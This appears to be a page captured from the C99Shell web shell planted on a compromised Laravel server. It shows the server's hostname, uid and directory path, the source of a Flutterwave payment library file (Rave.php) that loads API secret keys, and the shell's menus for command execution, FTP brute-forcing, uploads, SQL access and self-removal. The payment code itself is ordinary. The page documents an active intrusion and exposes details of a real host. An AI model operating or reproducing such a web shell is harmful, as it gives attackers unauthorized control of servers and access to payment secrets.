!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/kingflamez/laravelrave/src/   drwxr-xr-x
Free 28.94 GB of 117.98 GB (24.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Rave.php (3.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace KingFlamez\Rave;

use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Http;
use 
KingFlamez\Rave\Helpers\Banks;
use 
KingFlamez\Rave\Helpers\Beneficiary;
use 
KingFlamez\Rave\Helpers\Bills;
use 
KingFlamez\Rave\Helpers\Payments;
use 
KingFlamez\Rave\Helpers\Transfers;

/**
 * Flutterwave's Rave payment laravel package
 * @author Oluwole Adebiyi - Flamez <flamekeed@gmail.com>
 * @version 3
 **/
class Rave
{

    protected 
$publicKey;
    protected 
$secretKey;
    protected 
$baseUrl;

    
/**
     * Construct
     */
    
function __construct()
    {

        
$this->publicKey config('flutterwave.publicKey');
        
$this->secretKey config('flutterwave.secretKey');
        
$this->secretHash config('flutterwave.secretHash');
        
$this->baseUrl 'https://api.flutterwave.com/v3';
    }


    
/**
     * Generates a unique reference
     * @param $transactionPrefix
     * @return string
     */

    
public function generateReference(String $transactionPrefix NULL)
    {
        if (
$transactionPrefix) {
            return 
$transactionPrefix '_' uniqid(time());
        }
        return 
'flw_' uniqid(time());
    }

    
/**
     * Reaches out to Flutterwave to initialize a payment
     * @param $data
     * @return object
     */
    
public function initializePayment(array $data)
    {

        
$payment Http::withToken($this->secretKey)->post(
            
$this->baseUrl '/payments',
            
$data
        
)->json();

        return 
$payment;
    }


    
/**
     * Gets a transaction ID depending on the redirect structure
     * @return string
     */
    
public function getTransactionIDFromCallback()
    {
        
$transactionID request()->transaction_id;

        if (!
$transactionID) {
            
$transactionID json_decode(request()->resp)->data->id;
        }

        return 
$transactionID;
    }

    
/**
     * Reaches out to Flutterwave to verify a transaction
     * @param $id
     * @return object
     */
    
public function verifyTransaction($id)
    {
        
$data =  Http::withToken($this->secretKey)->get($this->baseUrl "/transactions/" $id '/verify')->json();
        return 
$data;
    }

    
/**
     * Confirms webhook `verifi-hash` is the same as the environment variable
     * @param $data
     * @return boolean
     */
    
public function verifyWebhook()
    {
        
// Process Paystack Webhook. https://developer.flutterwave.com/reference#webhook
        
if (request()->header('verif-hash')) {
            
// get input and verify paystack signature
            
$flutterwaveSignature request()->header('verif-hash');

            
// confirm the signature is right
            
if ($flutterwaveSignature == $this->secretHash) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * Payments
     * @return Payments
     */
    
public function payments()
    {
        
$payments = new Payments($this->publicKey$this->secretKey$this->baseUrl);
        return 
$payments;
    }

    
/**
     * Banks
     * @return Banks
     */
    
public function banks()
    {
        
$banks = new Banks($this->publicKey$this->secretKey$this->baseUrl);
        return 
$banks;
    }

    
/**
     * Transfers
     * @return Transfers
     */
    
public function transfers()
    {
        
$transfers = new Transfers($this->publicKey$this->secretKey$this->baseUrl);
        return 
$transfers;
    }

    
/**
     * Beneficiary
     * @return Beneficiary
     */
    
public function beneficiaries()
    {
        
$beneficiary = new Beneficiary($this->publicKey$this->secretKey$this->baseUrl);
        return 
$beneficiary;
    }

    
/**
     * Bill payments
     * @return Bills
     */
    
public function bill()
    {
        
$bills = new Bills($this->publicKey$this->secretKey$this->baseUrl);
        return 
$bills;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--